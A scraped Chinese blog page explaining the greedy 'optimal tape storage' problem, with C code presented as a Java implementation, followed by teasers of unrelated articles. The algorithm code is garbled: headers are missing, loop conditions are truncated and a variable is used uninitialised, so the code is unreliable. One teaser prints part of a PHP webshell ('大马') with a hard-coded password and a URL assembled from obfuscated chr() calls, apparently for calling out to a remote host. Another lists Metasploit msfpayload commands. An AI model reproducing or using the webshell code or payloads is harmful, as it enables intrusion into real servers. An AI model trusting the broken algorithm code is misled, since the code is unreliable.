磁带最优存储问题java实现_磁带的最优存储问题(贪心选择)

算法设计

n个程序的平均读取时间:(贪心策略)

在该题目中,要考虑综合因素:长度和读取概率。要求n个程序的平均读取时间最短。按照贪心策略,则每个程序的读取时间都应该最短。故:

(1)计算每个程序的长度和读取概率的乘积。

(2)对(1)产生的结果进行排序。

(3)当访问次序确定时,求出每个程序的访问时间。

(4)求出n个程序的平均读取时间。

程序源代码如下

/*

length[n]   程序长度

length1[n]  每个程序的长度和概率的乘积

gailv[n]    程序的概率

gailv1[n]   程序计算后的概率

sum[n]      读取每个程序所需的时间

*/

# include

# include

# define N 10

//计算每个文件被读取的概率

int calculate(int n,int gailv[n],double gailv1[n])

{

int sum=0;

int i;

for(i=0;i

{

sum+=gailv[i];

}

for(i=0;i

{

gailv1[i]=(double)gailv[i]/sum;

}

return 0;

}

//计算文件和读取概率的乘积

int multiple(int n,double gailv1[n],int length[n],double length1[n])

{

int i;

for(i=0;i

{

length1[i]=((double)gailv1[i])*((double)length[i]);

}

return 0;

}

//对乘积进行排序

int swap(int n,double length1[n])

{

int i,j;

for(i=0;i

{

for(j=i+1;j

{

if(length1[i]>length1[j])

{

double temp;

temp=length1[i];

length1[i]=length1[j];

length1[j]=temp;

}

}

}

return 0;

}

//读取每个程序所用的时间

int he(int n,double length1[n],double sum[n])

{

int i;

for(i=0;i

{

double t;

t+=length1[i];

sum[i]=t;

}

return 0;

}

//读取所有程序的平均时间

int Min_time(int n,double sum[n])

{

int i;

double min_time=0.0;

for(i=0;i

{

min_time+=sum[i];

}

printf(“最小平均读取时间为:\n”);

printf(“%f\n”,min_time);

return 0;

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306984.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BCVP第2期:项目已完成升级.NET5.0

(是时候拿出来这种图了)1开心的锣鼓想必这两天最热闹的几个词语,就是c#9.0、.net5.0还有conf大会了吧,当然还有大一统。其实,早在2019年年中,就已经引入了.NET5.0了,然后从2020-03-16开始,就一直在说.NET5.…

java 1..0 openjdk_java-1.7.0-openjdk-i386和java-7-openjdk-i386有什么区别

两个OpenJDK是一样的.但是OpenJDK与Oracle JDK略有不同.阅读this post了解更多信息.您为OpenJDK获取两个选项的原因是PROBABLY,您有两个安装的OpenJDK副本(或两个不同的引用到系统上的同一目录).为了进一步调查,请尝试使用ls -lh /usr/lib / jvm. /usr/lib / jvm通常是Java安装…

linux java升级版本_为嵌入式Linux设备实现更新/升级系统

我有一个在嵌入式Linux设备上运行的应用程序,并且偶尔会对软件进行更改,有时也会对根文件系统甚至已安装的内核进行更改 .在当前的更新系统中,只删除旧应用程序目录的内容,并在其上复制新文件 . 当对根文件系统进行更改时&#xf…

如何在ASP.NetCore增加文件上传大小

关注架构师高级俱乐部开启架构之路不定期福利发放哦~架构师高级俱乐部读完需要7分钟速读仅需 3 分钟/ 如何在核心中增加文件 ASP.NET 大小 /从ASP.NET 2.0开始最大请求正文大小限制为30MB (28.6 MiB)。在正常情况下,无需增加 HTTP 请求 body …

java完全二叉树最小堆_Java实现最小堆一

Java实现最小堆一堆是一种经过排序的完全二叉树,其中任一非终端节点的数据值均不大于(或不小于)其左孩子和右孩子节点的值。最大堆和最小堆是二叉堆的两种形式。最大堆:根结点的键值是所有堆结点键值中最大者。最小堆:根结点的键值是所有堆结…

一个 Task 不够,又来一个 ValueTask ,真的学懵了!

一:背景 1. 讲故事前几天在项目中用 MemoryStream 的时候意外发现 ReadAsync 方法多了一个返回 ValueTask 的重载,真是日了狗了,一个 Task 已经够学了,又来一个 ValueTask,晕,方法签名如下:publ…

java class类型参数_使用Class对象实例化Java类型参数/ generic

如何实例化Java泛型对象,该对象仅接受类或参数给出的类型参数宾语?例如:通常,可以使用以下语法实例化Integer对象的ArrayList:ArrayList foo new ArrayList();但是,给定一个Class诸如Integer.class之类的对象,怎么能创建一个类似的ArrayList…

Magicodes.IE 3.0重磅设计畅谈

Magicodes.IE 3.0重磅设计畅谈总体设计图Magicodes.IE导入导出通用库,支持Dto导入导出、模板导出、花式导出以及动态导出,支持Excel、Csv、Word、Pdf和Html。IE在去年年底重构一次之后,经过这么长时间的迭代,又迎来了瓶颈。根据本…

php引用类,thinkphp引用类的使用

比如发送邮件类phpmailer1.将核心文件放入ORG目录下2.在使用的地方,引入这个类文件如何引入呢?import(.ORG.phpmailer);这个表示引入当前项目中的ORG中的phpmailer.class.php文件3.引入之后就可以使用文件中的类了public function sendEmail() {import(.…

Net5 已经来临,让我来送你一个成功

没错,那就是“下载成功”。现在,已经可以急速下载.Net5 docker 镜像 .Net 5 进行今天已经正式发布,想必各位已经通过各种渠道了解到了此次发布的所有内容。并且也都体会到了这次凑成三连的金 scott 是什么效果(啊哈,三…

list申请java,java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到......

导航:网站首页 >java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到...java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到...相关问题…

推荐几款强大流行的BI系统

高级架构师俱乐部 读完需要2分钟速读仅需 1 分钟企业在日常运营过程中,需要根据公司实时经营数据来做未来决测或者发现经营中的问题,在此过程中离不开对数据的分析,而平常利用 excel 等方式极大的提高了领导层快速做出决测的成本&#xff0c…

php 4位数字不足补零,php实现数字不足补0的方法

php实现数字不足补0的方法发布时间:2020-08-28 09:51:06来源:亿速云阅读:100作者:小新这篇文章将为大家详细讲解有关php实现数字不足补0的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大…

聊聊单元测试

大家好,我是Z哥。提起单元测试,很多人对它的态度是,我知道它有用,但是我不想写。大多数人的理由是没时间写,任务太多。但是说实话,是真的没时间吗?Z哥认为真是由于没时间而不写单元测试的人绝对…

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…

msf payload php,Metasploit(四)--Msfpayload命令

msfpayload即将在2015年6月18日弃用,用msfvenmon替代msfpayload -hmsfpayload的帮助信息。msfpayload -l | grep windowsmsfpayload -l | grep linuxmsfpayload -l | grep andriod列出某个平台的pyloadsmsfpayload windows/meterpreter/bind_tcp S查看需要设置参数m…

起点低,怎么破?

职场&认知洞察 丨 作者 / findyi这是findyi公众号分享的第91篇原创文章洋友问:“洋哥,我北漂多年,专科毕业从农村出来,感觉做什么都不顺,我该怎么办”。和他聊了聊,他毕业后就来北京打工,尝…

java编写记事本程序出现图形,高手帮忙啊,老师布置了一个作业,要用java编写一个记事本程序...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼super(arg0);// TODO Auto-generated constructor stubinitialize();}/*** param arg0* throws HeadlessException*/public Notepad(String arg0) throws HeadlessException {super(arg0);// TODO Auto-generated constructor stub…

C# Span 源码解读和应用实践

一:背景 1. 讲故事这两天工作上太忙没有及时持续的文章产出,和大家说声抱歉,前几天群里一个朋友在问什么时候可以产出 Span 的下一篇,哈哈,这就来啦!读过上一篇的朋友应该都知道 Span 统一了 .NET 程序 栈 …

asp.net core web mvc之异常

与web api类似,asp.net core web mvc模板也是利用ExceptionHandler来处理错误,在starup的Configure配置数据发生时导向的/home/errorpublic void Configure(IApplicationBuilder app, IWebHostEnvironment env){if (env.IsDevelopment()){app.UseDevelop…